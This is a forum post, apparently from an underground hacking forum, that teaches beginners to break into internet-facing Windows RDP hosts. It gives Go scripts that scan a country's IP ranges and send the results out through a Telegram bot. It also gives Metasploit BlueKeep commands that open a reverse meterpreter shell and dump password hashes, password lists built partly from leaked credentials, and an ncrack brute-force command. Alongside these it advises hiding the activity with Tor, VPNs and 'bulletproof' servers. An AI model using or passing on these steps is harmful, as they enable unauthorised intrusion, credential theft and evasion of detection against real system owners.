Brute force and RDP hacking in 2025

Man

Professional
Messages
2,965
Reaction score
488
Points
83
No proprietary software! Everything is explained so simply that even a complete beginner will understand it the first time!

RDP (Remote Desktop Protocol) is a protocol developed by Microsoft. It allows a user to connect to a remote computer over a network and control it as if he were physically behind it.

In simple terms, it is like a computer running Windows, but on a remote machine.

A brute force attack, in turn, is a method of trying login and password combinations. It exploits the prevalence of identical or weak passwords used by different people.

In simple terms, this is when people find it difficult to come up with complex passwords, and they, like bad actors, take advantage of this.

On a network, connected devices have serial numbers called IP addresses. Each address has a little more than 65 thousand ports. An easier way to think about this is to think of the world as a giant planet of shopping malls, with IP addresses being the mall addresses and ports being the specific stores inside them. The default port for RDP is 3389.

Both on this planet and on the web, there are territories and their sovereigns. Everyone can choose their own by the top-level domain TLD-Country-Bounds.

Once you have made your choice, you can convert the TLDs to IP addresses using data from the repository: RIR-IP by country.

Step two is to scan the ports.

Masscan instantly detects open ports, but there are some caveats. Ports can be in two states: open or closed. However, they can also be open but not have the RDP service running.

Masscan does detect open ports quickly, but the vast majority of them either do not have the RDP service or are closed by a firewall. In short, such hosts are completely unsuitable for use in the task, which only becomes clear after an nmap scan. Nmap, on the other hand, takes time.

So masscan + nmap (or another service identifier) could be used, but I found a much more interesting option.

GitHub, the moon of my life, offers a solution that I use: GitHub - robertdavidgraham/rdpscan: A quick scanner for the CVE-2019-0708 "BlueKeep" vulnerability.

This is actually a scanner for a specific vulnerability CVE-2019-0708, known as BlueKeep. Surprisingly, despite its age, hosts with this vulnerability still show up in the results. I'll cover how to handle such hosts later.

The important thing here is that this code can detect addresses with the RDP service running.

Let's take a look at the documentation for the program from the repository. It accepts a range of IP addresses and for each address it produces a log, which can be in one of several states:
  • UNKNOWN — we do not work with such addresses.
  • VULNERABLE — hosts with vulnerability CVE-2019-0708. We save them, we will talk about them later.
  • SAFE - the host is not vulnerable to BlueKeep, but may be suitable for further brute force attack if the state is specified as SAFE or SAFE - CredSSP/NLA.
  • SAFE - not RDP - for obvious reasons, not suitable for brute force attacks.

The documentation states that the program can work in conjunction with masscan to speed up the check, although it works very quickly on its own. Moreover, if you look at the code a little, it becomes clear that it uses some code fragments from masscan.

Clone the repository. To build the executable file, you need to enter the make command in the program folder. You may need to install additional packages. If errors occur, just copy them and send them to ChatGPT for correction.

Sometimes the program's workflow needs to be tweaked. For example, if the program does not work with text files, you can write a small script yourself in any programming language - Python, Bash, Go.

The program works with IP address ranges. At the stage of their collection, we formed a text file. A little automation: the program takes data from the file line by line, and the script also saves the results of the program's work to another file. Similar behavior can be achieved by simply redirecting the output stream using >> res.txt on Linux machines in the terminal.

C-like:
package main

import (
"bufio"
"fmt"
"os"
"os/exec"
"strings"
)

func main() {
file, err := os.Open("ip.txt")
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()

outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error opening file output.txt:", err)
return
}
defer outputFile.Close()

scanner := bufio.NewScanner(file)

for scanner.Scan() {
ip := scanner.Text()
if strings.TrimSpace(ip) == "" {
continue
 }

cmd := exec.Command("./rdpscan", "--workers", "350", ip)

cmd.Stdout = outputFile
cmd.Stderr = os.Stderr

err := cmd.Run()
if err != nil {
fmt.Println("Error executing command:", err)
} else {
fmt.Printf("Command for IP %s completed successfully\n", ip)
}
 }

if err := scanner.Err(); err != nil {
fmt.Println("Error reading file:", err)
}
}

Pay attention to the line cmd := exec.Command("./rdpscan", "--workers", "350", ip). By increasing the number (the third argument), you increase the speed of the program. This parameter is responsible for the number of simultaneously running goroutines. The value 350 is a small number, but with it the program works fast enough for a simple port scanner, because the brute force attack itself will take more time.

At this stage, it is advisable to run everything on a remote machine. The problem with anonymity is that it is not abstract: everything on the network is literally physical devices. Therefore, is anonymity possible? Or is Stolyarov not so crazy, but just took it too close to heart?

Where can I find abuse-resistant servers - as we say, or bulletproof - like they do? Take any Ubuntu Server, set up VNC on it (this is like RDP for Windows) and open access from all IPs, login by login and password, not forgetting to keep logs. You look at the logs twice a day. You check the IP at https://whatismyipaddress.com/. You are not interested in every address, but the one that will try to pick up the login and password, that is, actually trying to hack. You check it at https://whatismyipaddress.com/ and google the ISP - congratulations, you found a bulletproof!

But what if you are not sure about the server? Backup.

This code solves the following problem - saving the results and backing them up using a Telegram bot. The compiled rdpscan file should be in the same folder as the main.go script.

C-like:
package main

import (
"archive/zip"
"bufio"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
 "time"

"bytes"
"mime/multipart"
"net/http"
)

var outputMutex sync.Mutex
var checkedMutex sync.Mutex

func archiveFiles(outputPath string, files []string) error {
archive, err := os.Create(outputPath)
if err != nil {
return fmt.Errorf("error creating archive: %v", err)
}
defer archive.Close()

zipWriter := zip.NewWriter(archive)
defer zipWriter.Close()

for _, file := range files {
fileToZip, err := os.Open(file)
if err != nil {
return fmt.Errorf("error opening file %s: %v", file, err)
}
defer fileToZip.Close()

info, err := fileToZip.Stat()
if err != nil {
return fmt.Errorf("error getting file information %s: %v", file, err)
 }

header, err := zip.FileInfoHeader(info)
if err != nil {
return fmt.Errorf("error creating file header %s: %v", file, err)
}
header.Name = filepath.Base(file)
header.Method = zip.Deflate

writer, err := zipWriter.CreateHeader(header)
if err != nil {
return fmt.Errorf("error creating archive entry: %v", err)
}
_, err = io.Copy(writer, fileToZip)
if err != nil {
return fmt.Errorf("error copying file %s to archive: %v", file, err)
}
 }

 return nil
}

func sendToTelegram() error {
telegramToken := "" // Here is the token
chatID := int64()    // Here is the chat ID in brackets
filePath := "archive.zip"

file, err := os.Open(filePath)
if err != nil {
return fmt.Errorf("error opening file %s: %v", filePath, err)
}
defer file.Close()

var buf bytes.Buffer
writer := multipart.NewWriter(&buf)

part, err := writer.CreateFormFile("document", filePath)
if err != nil {
return fmt.Errorf("error creating multipart form: %v", err)
 }

_, err = io.Copy(part, file)
if err != nil {
return fmt.Errorf("error copying file to form: %v", err)
 }

writer.WriteField("chat_id", fmt.Sprintf("%d", chatID))

err = writer.Close()
if err != nil {
return fmt.Errorf("error closing writer: %v", err)
 }

url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", telegramToken)
req, err := http.NewRequest("POST", url, &buf)
if err != nil {
return fmt.Errorf("error creating HTTP request: %v", err)
}
req.Header.Set("Content-Type", writer.FormDataContentType())

client := &http.Client{
Timeout: 30 * time.Second,
}
resp, err := client.Do(req)
if err != nil {
return fmt.Errorf("error sending request: %v", err)
}
defer resp.Body.Close()

if resp.StatusCode != http.StatusOK {
return fmt.Errorf("failed to send document, status: %s", resp.Status)
 }

fmt.Println("Archive successfully sent to Telegram")
 return nil
}

func periodicTask(intervalMinutes int, files []string, archivePath string) {
for {
err := archiveFiles(archivePath, files)
if err != nil {
fmt.Printf("Error creating archive: %v\n", err)
} else {
fmt.Println("Archive successfully created")
err = sendToTelegram()
if err != nil {
fmt.Printf("Error sending archive: %v\n", err)
} else {
fmt.Println("Archive sent successfully")
}
}
time.Sleep(time.Duration(intervalMinutes) * time.Minute)
}
}

func processIPs() {
file, err := os.Open("ip.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()

outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error opening output.txt file:", err)
return
}
defer outputFile.Close()

checkedFile, err := os.OpenFile("checked.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error opening file checked.txt:", err)
return
}
defer checkedFile.Close()

scanner := bufio.NewScanner(file)

for scanner.Scan() {
ip := scanner.Text()
if strings.TrimSpace(ip) == "" {
continue
 }

cmd := exec.Command("./rdpscan", "--workers", "350", ip)

outputMutex.Lock()
cmd.Stdout = outputFile
cmd.Stderr = os.Stderr
err := cmd.Run()
outputMutex.Unlock()

if err != nil {
fmt.Println("Error executing command:", err)
} else {
fmt.Printf("Command for IP %s completed successfully\n", ip)

checkedMutex.Lock()
_, err := checkedFile.WriteString(ip + "\n")
checkedMutex.Unlock()

if err != nil {
fmt.Println("Error writing IP to checked.txt:", err)
}
}
 }

if err := scanner.Err(); err != nil {
fmt.Println("Error reading file:", err)
}
}

func main() {
archivePath := "archive.zip"
files := []string{"output.txt", "checked.txt"}
intervalMinutes := 60

go periodicTask(intervalMinutes, files, archivePath)
processIPs()
}

To do this, you need to create a Telegram bot and find out the chat ID. The instructions can be found, for example, here: Create a Telegram Bot and Obtain the Chat ID - Step-by-Step Guide - YouTube.

At certain times (at a specified interval), the code creates (or rewrites) an archive containing the program's text log, as well as addresses that have already been checked. After that, the archive is sent as a message to the bot. The code synchronizes access to critical sections using mutexes.

The parameters that need to be configured:
  • telegramToken — your bot's token.
  • chatID — ID of the chat to send messages to.
  • intervalMinutes - the time interval, set to 60 minutes by default (this can be changed).

The bot needs to be run as a separate script so that it can receive messages. The bot script also needs to specify the telegramToken.

C-like:
package main

import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"time"
)

const (
telegramToken = ""
)

type Update struct {
UpdateID int `json:"update_id"`
Message struct {
Text string `json:"text"`
Chat struct {
ID int64 `json:"id"`
} `json:"chat"`
} `json:"message"`
}

func handleMessage(chatID int64, text string) {
fmt.Printf("Received message from %d: %s\n", chatID, text)
sendMessage(chatID, "Your message has been received: "+text)
}

func sendMessage(chatID int64, text string) {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", telegramToken)
payload := map[string]interface{}{
"chat_id": chatID,
"text":    text,
 }

body, err := json.Marshal(payload)
if err != nil {
fmt.Println("Error serializing payload:", err)
return
 }

client := &http.Client{
Timeout: 30 * time.Second,
 }

resp, err := client.Post(url, "application/json", bytes.NewBuffer(body))
if err != nil {
fmt.Println("Error sending message:", err)
return
}
defer resp.Body.Close()

if resp.StatusCode != http.StatusOK {
fmt.Println("Error sending message, status:", resp.Status)
} else {
fmt.Println("Message sent successfully")
}
}

func main() {
lastUpdateID := 0

client := &http.Client{
Timeout: 30 * time.Second,
 }

for {
url := fmt.Sprintf("https://api.telegram.org/bot%s/getUpdates?offset=%d", telegramToken, lastUpdateID+1)
resp, err := client.Get(url)
if err != nil {
fmt.Println("Error while getting updates:", err)
continue
}
defer resp.Body.Close()

if resp.StatusCode != http.StatusOK {
fmt.Printf("Error while getting updates: status %s\n", resp.Status)
continue
 }

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response:", err)
continue
 }

var updates struct {
Result []Update `json:"result"`
}
err = json.Unmarshal(body, &updates)
if err != nil {
fmt.Println("Error parsing response:", err)
continue
 }

for _, update := range updates.Result {
handleMessage(update.Message.Chat.ID, update.Message.Text)
lastUpdateID = update.UpdateID
}
}
}

The resulting log file can be processed using a script that divides hosts into two categories:
  • hosts with vulnerability
  • hosts for brute force

At the output, you will receive their lists in the form of IP addresses.

The script is launched in the folder where the output.txt file is located. As a result of executing the script, two files are created:
  • forBruteIp.txt — list of hosts for brute force,
  • BlueKeep.txt - list of hosts with BlueKeep vulnerability.

C-like:
package main

import (
"bufio"
"fmt"
"os"
"regexp"
"strings"
)

func main() {
inputFileName := "output.txt"
safeOutputFileName := "forBruteIp.txt"
vulnerableOutputFileName := "BlueKeep.txt"

inputFile, err := os.Open(inputFileName)
if err != nil {
fmt.Printf("Error opening file %s: %v\n", inputFileName, err)
return
}
defer inputFile.Close()

safeFile, err := os.OpenFile(safeOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error opening file %s: %v\n", safeOutputFileName, err)
return
}
defer safeFile.Close()

vulnerableFile, err := os.OpenFile(vulnerableOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error opening file %s: %v\n", vulnerableOutputFileName, err)
return
}
defer vulnerableFile.Close()

safeWriter := bufio.NewWriter(safeFile)
defer safeWriter.Flush()

vulnerableWriter := bufio.NewWriter(vulnerableFile)
defer vulnerableWriter.Flush()

scanner := bufio.NewScanner(inputFile)

ipRegex := regexp.MustCompile(`\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b`)

for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
if ip == "" {
continue
 }

if containsSafeKeywords(line) {
_, err := safeWriter.WriteString(ip + "\n")
if err != nil {
fmt.Printf("Ошибка при записи строки в файл SAFE: %v\n", err)
return
}
} else if containsVulnerableKeywords(line) {
_, err := vulnerableWriter.WriteString(ip + "\n")
if err != nil {
fmt.Printf("Error writing line to file VULNERABLE: %v\n", err)
return
}
}
 }

if err := scanner.Err(); err != nil {
fmt.Printf("Error reading file %s: %v\n", inputFileName, err)
}
}

func containsSafeKeywords(line string) bool {
return strings.Contains(line, "SAFE - CredSSP") || strings.Contains(line, "SAFE - Target")
}

func containsVulnerableKeywords(line string) bool {
return strings.Contains(line, "VULNERABLE")
}

Speaking from practice - taking 20 IP ranges, we managed to find a little more than one thousand one hundred hosts for brute force, and one host with BlueKeep. The check took several hours.

Regarding concealing work on a VPS. You can use TOR and VPN. For example, the check script works great with torify running on top, which provides Tor traffic. In general, traffic can be sent through a VPN, but this is already theoretical information. It's just that brute force-type activity can trigger the provider, and large traffic on a VPN may not be so suspicious. Of course, brute force is generally a large volume of traffic, but globally, VPN is not very suspicious, many product IT companies use VPN for employees for security purposes. Tor traffic is probably more suspicious, but you remember that all servers are physical computers?

Do not forget to use the nohup command, otherwise the running scripts will stop working as soon as the SSH session ends.

Well, first, let's deal with the hosts under CVE-2019-0708. Firstly, this is an old vulnerability, and it is possible that the hosts can act as honeypots. But still, in a few words, this is a tricky buffer overflow vulnerability, and quite a lot of materials have been written about it. I want to answer the question of how exactly to exploit it.

After checking the number of hosts in Shodan, you can use the vuln:cve-2019-0708 dork. After scanning the entire network, more hosts will be found than Shodan shows!

Let's use Metasploit. Install and run it with the msfconsole command. Select the exploit with the use exploit/windows/rdp/cve_2019_0708_bluekeep_rce command, set RHOST as the IP address on which the scanner detected the vulnerability: set RHOSTS 127.0.0.1. As a payload, we enter the command set PAYLOAD windows/x64/meterpreter/reverse_tcp. Set LHOST to the IP address of the machine from which the exploitation occurs: set LHOST. Next, enter the exploit command. If everything went well (although this is not always the case), we get a meterpreter session. Then we extract the hashes with the hashdump command. After that, we remove them using Hashcat or John the Ripper and get the connection credentials. Here is a good demonstration: BlueKeep RDP Vulnerability CVE-2019-0708 Exploit in Metasploit - Video 2021 with InfoSec Pat.

The next step is to collect password and login databases. I would not recommend using databases that, for example, lack special characters and capital letters, such as this one: https://github.com/jeanphorn/wordlist/blob/master/rdp_passlist.txt . In my opinion, a good repository is https://github.com/danielmiessler/SecLists/tree/master/Passwords. You can also find good logins here: https://github.com/danielmiessler/SecLists/tree/master/Usernames. In addition, the database can be compiled from previously leaked passwords of other thematic sites, accesses or logs.

After downloading several files, we combine them using a script, leaving only unique lines of at least 4 characters long, additionally randomizing them.

C-like:
package main
   
import (
"bufio"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
   
func main() {
rand.Seed(time.Now().UnixNano())
   
uniqueLines := make(map[string]struct{})
   
files, err := filepath.Glob("*.txt")
if err != nil {
panic(err)
}
   
for _, file := range files {
f, err := os.Open(file)
if err != nil {
panic(err)
}
defer f.Close()
   
scanner := bufio.NewScanner(f)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if len(line) > 4 {
uniqueLines[line] = struct{}{}
}
}
if err := scanner.Err(); err != nil {
panic(err)
}
}
   
lines := make([]string, 0, len(uniqueLines))
for line := range uniqueLines {
lines = append(lines, line)
}
   
rand.Shuffle(len(lines), func(i, j int) { lines[i], lines[j] = lines[j], lines[i] })
   
outputFile, err := os.Create("result.txt")
if err != nil {
panic(err)
}
defer outputFile.Close()
   
writer := bufio.NewWriter(outputFile)
for _, line := range lines {
writer.WriteString(line + "\n")
}
   
if err := writer.Flush(); err != nil {
panic(err)
}
   
println("Processing completed. The result is written to the file result.txt")
}

The final step is to run brute force. I suggest using the ncrack utility. I haven't personally done any comparisons, but I read an article where ncrack outperformed Hydra and Medusa in RDP brute force speed.

Command: ncrack -v -f -CL -U usernames.txt -P passwords.txt -iL targets.txt -p 3389 -oN results.txt

The -f flag will stop the check at the first successful result found. The results will be written to a text file. You can check them in a couple of days. It is also recommended to experiment with the parameters -T.

Hi! Bye!
 
Top